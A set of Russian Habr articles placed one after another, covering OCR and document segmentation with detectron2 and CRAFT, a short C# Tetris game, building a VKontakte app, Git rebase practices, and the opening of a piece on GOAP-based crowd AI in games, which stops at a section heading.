* **Classification**. Классификация изображения по типу объекта, которое оно содержит.
* **Object Detection**. Обнаружение всех объектов указанных классов и определение охватывающей рамки для каждого из них (*bounding box*).
* **Semantic Segmentation**. Выделение разных классов объектов на изображении, включая среду.
* **Instance Segmentation**. Разделение объектов одного класса на разные объекты.
* **Panoptic Segmentation**. Объединение задач семантической и инстанс-сегментации. Также в задаче паноптической сегментации каждому пикселю изображения должна быть присвоена ровно одна метка.
Примеры сегментации изображенийВ первой итерации мы использовали instance segmentation модель на [TensorFlow2](https://github.com/tensorflow/models/tree/master/research/object_detection) архитектуры MASK RCNN ([TensorFlow Hub](https://tfhub.dev/tensorflow/mask_rcnn/inception_resnet_v2_1024x1024/1)). С помощью Fine-Tuning дообучили модель на наших данных. Она позволила получать *bounding box* и *mask* размеченной области документов.
Но вскоре мы отказались от ее использования. Проблема — много зависимостей от TensorFlow Object Detection API. Нужно было сериализовывать данные в собственный формат *TFRecords*.
Было решено перейти на PyTorch-фреймворк [detectron2](https://github.com/facebookresearch/detectron2). На тестах метрики у моделей из detectron2 были выше, чем у модели на TensorFlow2(даже без тестов можно сравнить метрики на TFHub и model zoo detectron2). Для detecron2 использовали предобученные веса модели *СOCO-InstanceSegmentation/mask\_rcnn\_R\_50\_FPN\_3x* (в зависимости от ресурсов и времени можно выбрать [готовые веса](https://github.com/facebookresearch/detectron2/blob/main/MODEL_ZOO.md)).
Датасет создавался с помощью ручной разметки через приложение [labelme](https://github.com/wkentaro/labelme), а потом конвертировался в формат [COCO датасета](https://cocodataset.org/#home), где был написан свой, немного адаптированный скрипт. Была попытка использовать [Label Studio](https://labelstud.io/), но софт показался не совсем дружелюбным и больше ориентированным на команду разметки.
Так как в документах обычно одно уникальное поле и оно не дублируется, можно было использовать модели из semantic segmentation (маски) или object detection (bounding box). Но мы применили instance segmentation, чтобы получить маски и боксы.
Следующий шаг после определения нужных полей для распознавания — само распознавание текста.
Распознавание текста
--------------------
В первой итерации использовались несколько моделей распознавания:
* [EasyOCR](https://github.com/JaidedAI/EasyOCR). Для детекции CRAFT + CRNN для распознавания.
* [keras-ocr](https://github.com/faustomorales/keras-ocr). CRAFT + CRNN.
* [MMOCR](https://github.com/open-mmlab/mmocr). Модели распознавания SAR, SATRN, RobustScanner, SegOCR, а также разные модели детекции текста в связке с моделями распознавания.
В основе библиотеки EasyOCR (PyTorch), как и в keras-ocr лежат 2 модели: детекции текста CRAFT([Character Region Awareness for Text Detection](https://arxiv.org/abs/1904.01941)) и распознавания текста CRNN. Фреймворк [MMOCR](https://mmocr.readthedocs.io/en/latest/modelzoo.html) предлагает намного больше моделей.
[Tesseract](https://github.com/tesseract-ocr/) изначально не рассматривался, так как он хорошо работает с фотографиями высокого разрешения (где могут помочь [морфологические операции](https://homepages.inf.ed.ac.uk/rbf/HIPR2/morops.htm)), что нам не подходит. Также нам нужна высокая скорость обработки на GPU. Хотя Tesseract можно адаптировать под себя, как, например, [в статье с исправлением шрифтов](https://medium.com/swlh/replacing-google-ocr-with-tesseract-and-saving-thousands-in-monthly-billings-63839e9cfd0a), но этот метод не универсален.
Используемые нами модели выдавали в ответ координаты боксов, а также распознанный текст и его score. Из всех моделей выбирался вариант с наибольшим score. Часто фото документов были сделаны под углом, для выравнивания использовался алгоритм [Perspective Transformation](https://theailearner.com/tag/cv2-getperspectivetransform/) по 4 координатам бокса. Использовалась и предобработка маски с помощью [opencv](https://opencv.org/). Например:
* Выравнивание гистограммы [cv2.equalizeHist](https://docs.opencv.org/4.x/d5/daf/tutorial_py_histogram_equalization.html).
* Расширение изображения [dilation](https://docs.opencv.org/3.4/d9/d61/tutorial_py_morphological_ops.html):
```
kernel = np.ones((5,5), np.uint8).
i_im = cv2.dilate(i_im, kernel, iterations=1).
```
* Нормализация:
```
i_im = cv2.normalize(i_im, i_im, 0, 255, norm_type=cv2.NORM_MINMAX)
```
* Размытие:
```
i_im = cv2.GaussianBlur(i_im, (7, 7), 0)
```
* Увеличение резкости:
```
kernel = np.array([[-1,-1,-1],
[-1, 9,-1],
[-1,-1,-1]])
i_im = cv2.filter2D(i_im, -1, kernel)
```
* Разные варианты порогового преобразования:
```
im = cv2.threshold(im, 0, 255, cv2.THRESH_BINARY|cv2.THRESH_OTSU)[1]
```
Для улучшения качества изображения мы пробовали увеличивать разрешение с помощью [интерполяции](https://docs.scipy.org/doc/scipy/reference/generated/scipy.ndimage.zoom.html) и моделей [Super-Resolution](https://pypi.org/project/torchsr/). Для правильного определения ориентации маски или фото применяли модель классификации на 4 классах с поворотом на 0, 90, 180, 270 градусов.
Также были попытки обучить на синтетически сгенерированных данных модель CRNN из EasyOCR. Но здесь мы столкнулись с проблемой подбора шрифтов — не удавалось найти один шрифт, чтобы все символы были похожи на символы из оригинальной выборки. Поэтому при генерации синтетических данных мы использовали несколько шрифтов, которые подбирали с помощью онлайн-сервисов (например, [WhatTheFont! « MyFonts](https://www.myfonts.com/WhatTheFont/)).
Еще столкнулись с изначально некорректной разметкой при сегментации, выделяли не только нужные данные, но и поле/ячейку, часто с названием поля и рамками. Приходилось на препроцессинге выделять только нужную область, а также использовать маски с пустыми рамками для генерации синтетического датасета.
Так как готовые модели были обучены на синтетических датасетах, которые были сгенерированы без большого разнообразия шрифтов и с недостаточной [аугментацией](https://albumentations.ai/), на реальных фото часто путались цифры с буквами (например 6 и G, 7 и T, 2 и Z).
При работе с документами нам часто приходится распознавать определенные последовательности чисел или символов. Поэтому мы решили попробовать *character-based* метод. Для выделения области распознавания и разделения на символы мы сначала использовали средства opencv. Но не всегда удавалось отделить символы друг от друга, потому что часто документы были измяты или потерты, и исходное фото было в низком разрешении.
В итоге для разделения символов мы начали использовать модель [CRAFT](https://arxiv.org/abs/1904.01941). Для Python есть удобная реализация в виде библиотеки [craft-text-detector](https://github.com/fcakyon/craft-text-detector). Библиотека позволяет регулировать параметры выделения текста и получать боксы каждой области текста или символа в отдельности.
Для примера распознаем текст с помощью библиотеки craft-text-detector на кадрах из первого части «Человека-паука» 2002 года:
Оригинальное изображениеText detection boxesText score heatmapLink score heatmapЗдесь:
* Text detection boxes — боксы с текстами (которые получаются с помощью работы моделей CRAFT + LinkRefiner).
* Text score heatmap — вывод модели CRAFT (по каждому символу).
* Link score heatmap — вывод модели LinkRefiner (модели связи символов).
Чтобы получить char-boxes, а не text-boxes, мы можем выставить значение параметра link\_threshold=999999 (сделать большим). Тогда не будет учитываться работа модели связи символов LinkRefiner. Например:
```
prediction_result = get_prediction(
image=image,
craft_net=craft_net,
refine_net=refine_net,
text_threshold=0.7,
link_threshold=999999,
low_text=0.4,
cuda=True,
long_size=1280
)
```
Char detection boxesБолее подробный код запуска есть [на GitHub](https://github.com/fcakyon/craft-text-detector). Также с этой библиотекой удобно менять разные пороговые значения. Например, для распознавания более мелких или крупных шрифтов.
Далее боксы распознаных символов можно подать в модель классификации, которая обучается с дополнительной аугментацией с учетом поворотов и прочих шумов.
Но подробнее о моделях CRAFT, CRNN и их использовании я расскажу в следующей части статьи. Если у вас есть вопросы или комментарии — пишите, с удовольствием отвечу. | https://habr.com/ru/post/594357/ | null | ru | null |
# Тетрис на C# в 100 строк
UPD. [Ссылка](https://github.com/Limpich/tetris) на github.
Недавно мне в голову пришла идея — написать простенькую игру в минимальное количество строк. Мой выбор пал на тетрис. В этой статье я опишу свой код.
Для начала стоит отметить, что в свою реализацию я включил только базовые возможности:
* движение фигурок влево/вправо;
* падение фигурок;
* поворот фигурок;
* удаление заполненных фигурок;
* окончание игры.
Итак, сперва добавим на форму PictureBox и создадим таймер.
Также для игры понадобятся:
```
public const int width = 15, height = 25, k = 15; // Размеры поля и размер клетки в пикселях
public int[,] shape = new int[2, 4]; // Массив для хранения падающей фигурки (для каждого блока 2 координаты [0, i] и [1, i]
public int[,] field = new int[width, height]; // Массив для хранения поля
public Bitmap bitfield = new Bitmap(k * (width + 1) + 1, k * (height + 3) + 1);
public Graphics gr; // Для рисования поля на PictureBox
```
Заполним поле по краям:
```
for (int i = 0; i < width; i++)
field[i, height - 1] = 1;
for (int i = 0; i < height; i++) {
field[0, i] = 1;
field[width - 1, i] = 1;
}
```
Заполним фигуру:
```
public void SetShape(){
Random x = new Random(DateTime.Now.Millisecond);
switch (x.Next(7)){ // Рандомно выбираем 1 из 7 возможных фигурок
case 0: shape = new int[,] { { 2, 3, 4, 5 }, { 8, 8, 8, 8 } }; break;
case 1: shape = new int[,] { { 2, 3, 2, 3 }, { 8, 8, 9, 9 } }; break;
case 2: shape = new int[,] { { 2, 3, 4, 4 }, { 8, 8, 8, 9 } }; break;
case 3: shape = new int[,] { { 2, 3, 4, 4 }, { 8, 8, 8, 7 } }; break;
case 4: shape = new int[,] { { 3, 3, 4, 4 }, { 7, 8, 8, 9 } }; break;
case 5: shape = new int[,] { { 3, 3, 4, 4 }, { 9, 8, 8, 7 } }; break;
case 6: shape = new int[,] { { 3, 4, 4, 4 }, { 8, 7, 8, 9 } }; break;
}
}
```
Процедура, которая рисует «стакан» в PictureBox:
```
public void FillField(){
gr.Clear(Color.Black); //Очистим поле
for (int i = 0; i < width; i++)
for (int j = 0; j < height; j++)
if (field[i, j] == 1){ // Если клетка поля существует
gr.FillRectangle(Brushes.Green, i * k, j * k, k, k); // Рисуем в этом месте квадратик
gr.DrawRectangle(Pens.Black, i * k, j * k, k, k);
}
for (int i = 0; i < 4; i++){ // Рисуем падающую фигуру
gr.FillRectangle(Brushes.Red, shape[1, i] * k, shape[0, i] * k, k, k);
gr.DrawRectangle(Pens.Black, shape[1, i] * k, shape[0, i] * k, k, k);
}
FieldPictureBox.Image = bitfield;
}
```
Фигурки я сначала двигаю, а потом проверяю, возможен такой вариант или нет. Если в каком-то месте находится ошибка (фигура вышла за пределы поля или наложилась на уже лежащую в поле фигуру), фигурка возвращается на своё прежнее место. Для этого я написал функцию, которая возвращает true, если на поле нашлась ошибка или false, если ошибки нет:
```
public bool FindMistake(){
for (int i = 0; i < 4; i++)
if (shape[1, i] >= width || shape[0, i] >= height ||
shape[1, i] <= 0 || shape[0, i] <= 0 ||
field[shape[1, i], shape[0, i]] == 1)
return true;
return false;
}
```
Теперь приступим к передвижению фигурки. Создадим в конструкторе событие KeyDown.
Движение влево:
```
switch (e.KeyCode){
case Keys.A:
for (int i = 0; i < 4; i++)
shape[1, i]--; // Сначала сдвигаем координаты всех кусочков фигуры на 1 влево по оси OX
if (FindMistake()) // Если после этого нашлась ошибка
for (int i = 0; i < 4; i++)
shape[1, i]++; // Возвращаем фигурку обратно на 1 вправо
break;
...
}
```
Аналогично движение вправо:
```
case Keys.D:
for (int i = 0; i < 4; i++)
shape[1, i]++;
if (FindMistake())
for (int i = 0; i < 4; i++)
shape[1, i]--;
break;
```
Переворот фигурки устроен немного сложнее:
```
case Keys.W:
var shapeT = new int[2, 4];
Array.Copy(shape, shapeT, shape.Length); // Создадим копию фигурки, чтобы в случае, когда после переворота на поле найдется ошибка, не переворачивать её обратно, а просто восстановить копию
int maxx = 0, maxy = 0;
for (int i = 0; i < 4; i++){
if (shape[0, i] > maxy)
maxy = shape[0, i];
if (shape[1, i] > maxx)
maxx = shape[1, i];
} // Найдем максимальные координаты значения фигуры по X и по Y
for (int i = 0; i < 4; i++) {
int temp = shape[0, i];
shape[0, i] = maxy - (maxx - shape[1, i]) - 1;
shape[1, i] = maxx - (3 - (maxy - temp)) + 1;
} // Перевернем фигуру. Эти формулы я обнаружил после тщательного изучения нарисованного квадратика с фигурой до и после переворота.
if (FindMistake())
Array.Copy(shapeT, shape, shape.Length);
break;
```
Теперь осталось только добавить падение фигурок и убирание строк. Все это будет происходить по событию TimerTick:
```
private void TickTimer_Tick(object sender, System.EventArgs e){
if (field[8, 3] == 1)
Environment.Exit(0); // Если клетка поля, на которой появляются фигурки заполнены, завершить программу.
for (int i = 0; i < 4; i++)
shape[0, i]++; // Сместить фигурку вниз
if (FindMistake()){
for (int i = 0; i < 4; i++)
field[shape[1, i], --shape[0, i]]++;
SetShape();
} // Если нашлась ошибка, перенести фигурку на 1 клетку вверх, сохранить её в массив field и создать новую фигурку
for (int i = height - 2; i > 2; i--){
var cross = (from t in Enumerable.Range(0, field.GetLength(0)).Select(j => field[j, i]).ToArray() where t == 1 select t).Count(); // Количество заполненных полей в ряду
if (cross == width)
for (int k = i; k > 1; k--)
for (int l = 1; l < width - 1; l++)
field[l, k] = field[l, k - 1];
} // Проверка на заполненность рядом, если нашлись ряды, в которых все клетки заполнены, сместить все ряды, которые находятся выше убранной линии, на 1 вниз
FillField(); // Перерисовать поле
}
```
Ну и наконец, при создании формы надо вызвать:
```
SetShape();
```
Итоговый код:
```
using System;
using System.Linq;
using System.Drawing;
using System.Windows.Forms;
namespace LittleTetris{
public partial class Form1 : Form{
public const int width = 15, height = 25, k = 15;
public int[,] shape = new int[2, 4];
public int[,] field = new int[width, height];
public Bitmap bitfield = new Bitmap(k * (width + 1) + 1, k * (height + 3) + 1);
public Graphics gr;
public Form1(){
InitializeComponent();
gr = Graphics.FromImage(bitfield);
for (int i = 0; i < width; i++)
field[i, height - 1] = 1;
for (int i = 0; i < height; i++) {
field[0, i] = 1;
field[width - 1, i] = 1;
}
SetShape();
}
public void FillField(){
gr.Clear(Color.Black);
for (int i = 0; i < width; i++)
for (int j = 0; j < height; j++)
if (field[i, j] == 1){
gr.FillRectangle(Brushes.Green, i * k, j * k, k, k);
gr.DrawRectangle(Pens.Black, i * k, j * k, k, k);
}
for (int i = 0; i < 4; i++){
gr.FillRectangle(Brushes.Red, shape[1, i] * k, shape[0, i] * k, k, k);
gr.DrawRectangle(Pens.Black, shape[1, i] * k, shape[0, i] * k, k, k);
}
FieldPictureBox.Image = bitfield;
}
private void TickTimer_Tick(object sender, System.EventArgs e){
if (field[8, 3] == 1)
Environment.Exit(0);
for (int i = 0; i < 4; i++)
shape[0, i]++;
for (int i = height - 2; i > 2; i--){
var cross = (from t in Enumerable.Range(0, field.GetLength(0)).Select(j => field[j, i]).ToArray() where t == 1 select t).Count();
if (cross == width)
for (int k = i; k > 1; k--)
for (int l = 1; l < width - 1; l++)
field[l, k] = field[l, k - 1];}
if (FindMistake()){
for (int i = 0; i < 4; i++)
field[shape[1, i], --shape[0, i]]++;
SetShape();}
FillField();
}
private void Form1_KeyDown(object sender, KeyEventArgs e){
switch (e.KeyCode){
case Keys.A:
for (int i = 0; i < 4; i++)
shape[1, i]--;
if (FindMistake())
for (int i = 0; i < 4; i++)
shape[1, i]++;
break;
case Keys.D:
for (int i = 0; i < 4; i++)
shape[1, i]++;
if (FindMistake())
for (int i = 0; i < 4; i++)
shape[1, i]--;
break;
case Keys.W:
var shapeT = new int[2, 4];
Array.Copy(shape, shapeT, shape.Length);
int maxx = 0, maxy = 0;
for (int i = 0; i < 4; i++){
if (shape[0, i] > maxy)
maxy = shape[0, i];
if (shape[1, i] > maxx)
maxx = shape[1, i];
}
for (int i = 0; i < 4; i++) {
int temp = shape[0, i];
shape[0, i] = maxy - (maxx - shape[1, i]) - 1;
shape[1, i] = maxx - (3 - (maxy - temp)) + 1;
}
if (FindMistake())
Array.Copy(shapeT, shape, shape.Length);
break;
}
}
public void SetShape(){
Random x = new Random(DateTime.Now.Millisecond);
switch (x.Next(7)){
case 0: shape = new int[,] { { 2, 3, 4, 5 }, { 8, 8, 8, 8 } }; break;
case 1: shape = new int[,] { { 2, 3, 2, 3 }, { 8, 8, 9, 9 } }; break;
case 2: shape = new int[,] { { 2, 3, 4, 4 }, { 8, 8, 8, 9 } }; break;
case 3: shape = new int[,] { { 2, 3, 4, 4 }, { 8, 8, 8, 7 } }; break;
case 4: shape = new int[,] { { 3, 3, 4, 4 }, { 7, 8, 8, 9 } }; break;
case 5: shape = new int[,] { { 3, 3, 4, 4 }, { 9, 8, 8, 7 } }; break;
case 6: shape = new int[,] { { 3, 4, 4, 4 }, { 8, 7, 8, 9 } }; break;
}
}
public bool FindMistake(){
for (int i = 0; i < 4; i++)
if (shape[1, i] >= width || shape[0, i] >= height ||
shape[1, i] <= 0 || shape[0, i] <= 0 ||
field[shape[1, i], shape[0, i]] == 1)
return true;
return false;
}
}
}
```
В итоге, если не считать строк с закрывающейся скобкой и расписанного условия в FindMistake, получается 95 строк.
Вот скриншот работающей программы:
 | https://habr.com/ru/post/433908/ | null | ru | null |
# Как я делал приложение для вКонтакте
Давно хотелось создать продукт, который был бы полезен людям. Сам я флешер. Давно пользуюсь социальной сетью вКонтакте. Желание усилили приложения в Контакте, которые, как правило, носили развлекательный характер. Тогда и родилась идея создать «Гармоничную пару», приложение, которое призвано помочь найти идеального партнера среди пользователей вКонтакте, основываясь на главном параметре – асценденте. Кроме него учитывается еще возраст и страна проживания (можно учитывать и больше параметров, но пока ограничиваемся этими).
*Небольшая пауза — данный топик я публикую по просьбе [charly](https://habr.com/users/charly/) — поднимите ему кармы. :)))*
Скачав официальные примеры приложений, использовавшие API вКонтакте, приступил к работе. Как оказалось, создать более-менее серьезное приложение, используя только API – сложновато. А если это многопользовательское приложение – то задача усложняется в разы. К тому же возрастает риск потери данных.
На тот момент не было возможности организовать свой сервер базы данных, поэтому решил использовать только API.
Ближе к концу разработки приложения я все-таки пришел к выводу, что без стороннего сервера не обойтись. Нужные мне функции штатными средствами вКонтакте реализовать не получалось, объем трафика между приложением и сервером вКонтакте рос бы в геометрической прогрессии с ростом количества пользователей.
#### **Приведу пример.**
Данные, которые были результатом работы моего приложения, я записывал в собственные переменные каждого пользователя. Мне казалось, что их потом можно считать все вместе так же, как это можно сделать со чтением информации по пользователям.
`Есть такая функция вКонтакте - getProfiles. Высылаем id пользователей и в виде xml получаем всю доступную информацию`
Но доступ к личным переменным осуществляется только по одному пользователю. То есть для тысячи пользователей надо сделать тысячу запросов, причем не чаще 3 раз в секунду.
Поэтому было принято решение использовать сервер, на котором хостится мой сайт. А так как с php и MySQL я почти не работал – пришлось еще и научиться связывать их вместе с Flash. Как результат – через несколько дней Flash уже посылал запросы в базу, а она отвечала взаимностью и определенным количеством данных.
Когда, казалось бы, все готово – контакт приготовил новое испытание. Для того, чтобы приложение могло полноценно работать (например, открывать страницы пользователей вКонтакте) – оно должно быть проверено Администрацией. Проверка затянулась дня на 4-5. Но приложение не было одобрено. Администрация сослалась на нарушение правил размещения приложений.
Прочитав 15 пунктов этого «руководства», я решил, что Администрации не понравились баннеры, которые крутятся в нижней части программы (хотя сам Дуров писал в блоге, что авторы приложения могут монетизировать их как угодно). Сняв ссылки с баннеров и удалив googleAds (показывались в момент загрузки приложения) – снова отправил приложение на проверку.
Был удивлен, когда на следующий день приложение было одобрено.
Я думаю каждый знает, что я в этот момент почувствовал. Когда твое детище, пусть и маленькое, отправляется в «самостоятельное плавание».
Тесты тестами, но когда «Гармоничная пара» заработала на реальных людях – вылезло несколько багов. Они были моментально исправлены, но… неприятный осадок остался :)
Сейчас приложение работает второй день, а я в свою очередь, стараюсь его рекламировать. Вводятся новые функции (такие как рейтинг, начисление виртуальных денег, гороскопы). Сейчас же мне доступна кое-какая статистика по пользователям моего приложения, но так как пользователей пока еще мало — думаю, что в такой статистике нету смысла. Позже отпишусь и расскажу, кто же пользуется «Гармоничной парой».
Будем надеяться, что хоть кто-то найдет свою гармоничную пару. А значит мои труды не напрасны.
*P.S. Если будет желание посмотреть на само приложение — пишите. :)))*
P.P.S. [vkontakte.ru/app658626](http://vkontakte.ru/app658626) | https://habr.com/ru/post/63930/ | null | ru | null |
# Руководство по Git. Часть №2: золотое правило и другие основы rebase
Посмотрим, что происходит, когда вы выполняете git rebase и почему нужно быть внимательным.
Это [вторая](https://www.daolf.com/posts/git-series-part-2/) и [третья](https://www.daolf.com/posts/git-series-part-3/) части гайда по Git из блога Pierre de Wulf в переводе команды [Mail.ru Cloud Solutions](https://mcs.mail.ru/). Первую часть [можно почитать тут](https://habr.com/ru/company/mailru/blog/493816/).
Суть rebase
-----------
Как именно происходит rebase:
Можно сказать, что rebase — это открепить ветку (branch), которую вы хотите переместить, и подключить ее к другой ветке. Такое определение соответствует действительности, но попробуем заглянуть чуть глубже. Если вы посмотрите [документацию](https://git-scm.com/docs/git-rebase), вот что там написано относительно rebase: «Применить коммиты к другой ветке (Reapply commits on top of another base tip)».
Главное слово здесь — применить, потому что rebase — это не просто копипаст ветки в другую ветку. Rebase последовательно берет все коммиты из выбранной ветки и заново применяет их к новой ветке.
Такое поведение приводит к двум моментам:
1. Переприменяя коммиты, Git создает новые коммиты. Даже если они содержат те же изменения, то рассматриваются Git как новые и независимые коммиты.
2. Git rebase переприменяет коммиты и не удаляет старые. Это значит, что после выполнения rebase ваши старые коммиты продолжат храниться в подпапке /оbjects папки .git. Если вы не до конца понимаете, как Git хранит и учитывает коммиты, почитайте первую часть этой статьи.
Вот более правильная интерпретация того, что происходит при rebase:
Как видите, ветка feature содержит абсолютно новые коммиты. Как было сказано ранее, тот же самый набор изменений, но абсолютно новые объекты с точки зрения Git.
Это также означает, что старые коммиты не уничтожаются. Они становятся просто недоступными напрямую. Если вы помните, ветка — всего лишь ссылка на коммит. Таким образом, если ни ветка, ни тег не ссылаются на коммит, к нему невозможно получить доступ средствами Git, хотя на диске он продолжает присутствовать.
Теперь давайте обсудим «Золотое правило».
Золотое правило rebase
----------------------
Золотое правило rebase звучит так — **«****НИКОГДА не выполняйте rebase расшаренной ветки!****».** Под расшаренной веткой понимается ветка, которая существует в сетевом репозитории и с которой могут работать другие люди, кроме вас.
Часто это правило применяют без должного понимания, поэтому разберем, почему оно появилось, тем более что это поможет лучше понять работу Git.
Давайте рассмотрим ситуацию, когда разработчик нарушает золотое правило, и что происходит в этом случае.
Предположим, Боб и Анна вместе работают над проектом. Ниже представлено, как выглядят репозитории Боба и Анны и исходный репозиторий на GitHub:
У всех пользователей репозитории синхронизируются с GitHub.
Теперь Боб, нарушая золотое правило, выполняет rebase, и в это же время Анна, работая в ветке feature, создает новый коммит:
Вы видите, что произойдет?
Боб пытается выполнить пуш коммита, ему приходит отказ примерно такого содержания:
Выполнение Git не было успешным, потому что Git не знает, как объединить feature ветку Боба с feature веткой GitHub.
Единственным решением, позволяющим Бобу выполнить push, станет использование ключа force, который говорит GitHub-репозиторию удалить у себя ветку feature и принять за эту ветку ту, которая пушится Бобом. После этого мы получим следующую ситуацию:
Теперь Анна хочет запушить свои изменения, и вот что будет:
Это нормально, Git сказал Анне, что у нее нет синхронизированной версии ветки feature, то есть ее версия ветки и версия ветки в GitHub — разные. Анна должна выполнить pull. Точно таким же образом, как Git сливает локальную ветку с веткой в репозитории, когда вы выполняете push, Git пытается слить ветку в репозитории с локальной веткой, когда вы выполняете pull.
Перед выполнением pull коммиты в локальной и GitHub-ветках выглядят так:
```
A--B--C--D' origin/feature // GitHub
A--B--D--E feature // Anna
```
Когда вы выполняете pull, Git выполняет слияние для устранения разности репозиториев. И вот, к чему это приводит:
Коммит M — это коммит слияния (merge commit). Наконец, ветки feature Анны и GitHub полностью объединены. Анна вздохнула с облегчением, все конфликты устранены, она может выполнить push.
Боб выполняет pull, теперь все синхронизированы:
Глядя на получившийся беспорядок, вы должны были убедиться в важности золотого правила. Также учтите, что подобный беспорядок был создан всего одним разработчиком и на ветке, которая расшарена всего между двумя людьми. Представьте, что будет в команде из десяти человек.
Одним из многочисленных достоинств Git является то, что можно без проблем откатиться на любое время назад. Но чем больше допущено ошибок, подобных описанной, тем сложнее это сделать.
Также учтите, что появляются дубликаты коммитов в сетевом репозитории. В нашем случае — D и D’, содержащие одни и те же данные. По сути, количество дублированных коммитов может быть таким же большим, как и количество коммитов в вашей rebased ветке.
Если вы все еще не убеждены, давайте представим Эмму — третью разработчицу. Она работает в ветке feature перед тем, как Боб совершает свою ошибку, и в настоящий момент хочет выполнить push. Предположим, что к моменту ее push наш маленький предыдущий сценарий уже завершился. Вот что выйдет:
*Ох уж этот Боб!!!!*
Этот текст мог заставить вас подумать, что rebase используют только для перемещения одной ветки на верхушку другой ветки. Это необязательно — вы можете выполнять rebase и на одной ветке.
Красота pull rebase
-------------------
Как вы видели выше, проблем Анны можно было избежать, если бы она использовала pull rebase. Рассмотрим этот вопрос подробнее.
Допустим, Боб работает в ветке, отходящей от мастера, тогда его история может выглядеть вот так:
Боб решает, что настало время выполнить pull, что, как вы уже поняли, приведет к некоторым неясностям. Поскольку репозиторий Боба отходил от GitHub, Git спросит делать ли объединение, и результат будет таким:
Это решение подходит и работает нормально, однако, вам может быть полезно знать, что есть другие варианты решения проблемы. Одним из них является pull-rebase.
Когда вы делаете pull-rebase, Git пытается выяснить, какие коммиты есть только в вашей ветке, а какие — в сетевом репозитории. Затем Git объединяет коммиты из сетевого репозитория с самым свежим коммитом, присутствующим и в локальном, и в сетевом репозитории. После чего выполняет rebase ваших локальных коммитов в конец ветки.
Звучит сложно, поэтому проиллюстрируем:
1. Git обращает внимание только на коммиты, которые есть и в вашем, и в сетевом репозитории:
Это выглядит как локальный клон репозитория GitHub.
2. Git выполняет rebase локальных коммитов:
Как вы помните, при rebase Git применяет коммиты один за одним, то есть в данном случаем применяет в конец ветки master коммит E, потом F. Получился rebase сам в себя. Выглядит неплохо, но возникает вопрос — зачем так делать?
По моему мнению, самая большая проблема с объединением веток в том, что загрязняется история коммитов. Поэтому pull-rebase — более элегантное решение. Я бы даже пошел дальше и сказал, что когда нужно скачать последние изменения в вашу ветку, вы всегда должны использовать pull-rebase. Но нужно помнить: поскольку rebase применяет все коммиты по очереди, то когда вы делаете rebase 20 коммитов, вам, возможно, придется решать один за другим 20 конфликтов.
Как правило, можно использовать следующий подход: одно большое изменение, сделанное давно — merge, два маленьких изменения, сделанных недавно — pull-rebase.
Сила rebase onto
----------------
Предположим, история ваших коммитов выглядит так:
Итак, вы хотите выполнить rebase ветки feature 2 в ветку master. Если вы выполните обычный rebase в ветку master, получите это:
Нелогично выглядит то, что коммит D существует в обоих ветках: в feature 1 и feature 2. Если вы переместите ветку feature 1 в конец ветки мастер, получится, что коммит D будет применен два раза.
Предположим, что вам нужно получить другой результат:
Для реализации подобного сценария как раз и предназначен git rebase onto.
Сначала прочтем документацию:
```
SYNOPSIS
git rebase [-i | --interactive] [] [--exec ]
[--onto | --keep-base] [ []]
git rebase [-i | --interactive] [] [--exec ]
[--onto ]
--root []
git rebase (--continue | --skip | --abort | --quit | --edit-todo
| --show-current-patch)
```
Нас интересует вот это:
```
OPTIONS
--onto
Starting point at which to create the new commits. If the
--onto option is not specified, the starting point is . May be
any valid commit, and not just an existing branch name.
```
С помощью этой опции указывается, в какой точке создавать новые коммиты.
Если эта опция не указана, то стартовой точкой станет upstream.
Для понимания приведу еще один рисунок:
```
A--B--C master
\
D--E feature1
\
F--G feature2
Here we want to rebase feature2 to master beginning from feature1
| |
newbase upstream
```
То есть ветка master — это newbase, а ветка feature 1 — upstream.
Таким образом, если вы хотите получить результат как на последнем рисунке, необходимо выполнить в ветке feature2 git rebase --onto master feature1.
Удачи!
*Переведено при поддержке* [*Mail.ru Cloud Solutions*](https://mcs.mail.ru/)*.*
**Что еще почитать по теме**:
1. [Первая часть гайда про Git.](https://habr.com/ru/company/mailru/blog/493816/)
2. [Мой второй год в качестве независимого разработчика](https://mcs.mail.ru/blog/moj-vtoroj-god-v-kachestve-nezavisimogo-razrabotchika).
3. [Наш канал в Телеграме о цифровой трансформации](https://tele.click/zavtra_oblachno).
| | https://habr.com/ru/post/493818/ | null | ru | null |
# Проектирование непредсказуемого интеллекта в играх. Часть 2 — интеллект толпы
Как сделать smart толпу в игре и почему лидер толпы это важно.
Толпе нужен лидер, даже толпе зомби.Введение
--------
Если вы не читали первую часть, советую начать с неё ([Часть 1 — архитектура](https://habr.com/ru/post/650235/)). В этой части я расскажу более подробно о таком классе NPC как толпа.
Толпу возможно спроектировать разными способами, проще всего это сделать при помощи простого behavior tree, однако в этой статье я начну проектировать толпу по GOAP методике, которую описал в предыдущей статье.
> Примеры будут написаны на языке C# и движке Unity 3d, т.к. он очень хорошо справляется с быстрым прототипированием подобных сцен и легко протестировать гипотезы и новую архитектуру. Я буду скрывать подробные реализации, а сами исходники приложу в качестве GitHub проекта.
>
>
***Disclaimer***:большинство понятий авторские, описание архитектуры и разбор механик делаю основываясь на свой опыт и исследования. В своих статьях я стараюсь делать акцент на дизайне и концепции, не реализации. Я не буду упрощать логику или злоупотреблять комментариями, какие-то вырезки кода будут из боевых проектов, а архитектура вполне готова, чтобы работать из коробки. Поэтому разжевываний базовых вещей в программировании здесь тоже не будет.
Приятного чтения!
Сложности вычислений ИИ
-----------------------
Несомненно любая форма архитектуры ИИ это удар по вычислительной мощности сервера/игрового устройства. Предложенная форма GOAP из предыдущей статьи имеет большой недостаток - для каждого NPC без многопоточности, вычисления вероятности вызова цели будут идти отдельно во время каждого кадра.
Представим простую сцену, где у нас одновременно находится N персонажей (от 100). И обычный метод расчета вероятности вызова для цели ReactOnCharacter, которое должно стриггерить NPC на разговор с другим персонажем в случае их столкновения или преграждения пути.
Отрисовать такое количество разных персонажей это вообще отдельная тема.Самый банальный пример алгоритма столкновения - каст области вокруг. В большинстве движков используется [spatial search](https://habr.com/ru/post/182998). Если стоит задача реализовать NPC на сервере (например .Net Core или С++ сервер), то она усложняется отсутствием подобных утилит и такой способ придется реализовывать с нуля. С этим вытекают дополнительные архитектурные требования: система контроля позиций всех динамических юнитов игры (игровых и неигровых персонажей, транспорта и т.д), [movement prediction и latency/lag compensation](https://developer.valvesoftware.com/wiki/Latency_Compensating_Methods_in_Client/Server_In-game_Protocol_Design_and_Optimization), а также системы контроля изменений мира (особенно актуально для игр песочниц).
После всего этого каждые N миллисекунд необходимо проверять каждого персонажа на расстояние к ближайшим найденным NPC. Это все увеличивает нагрузку на CPU, поэтому потребует также коррекции внутри целей и поведений.
Толпа
-----
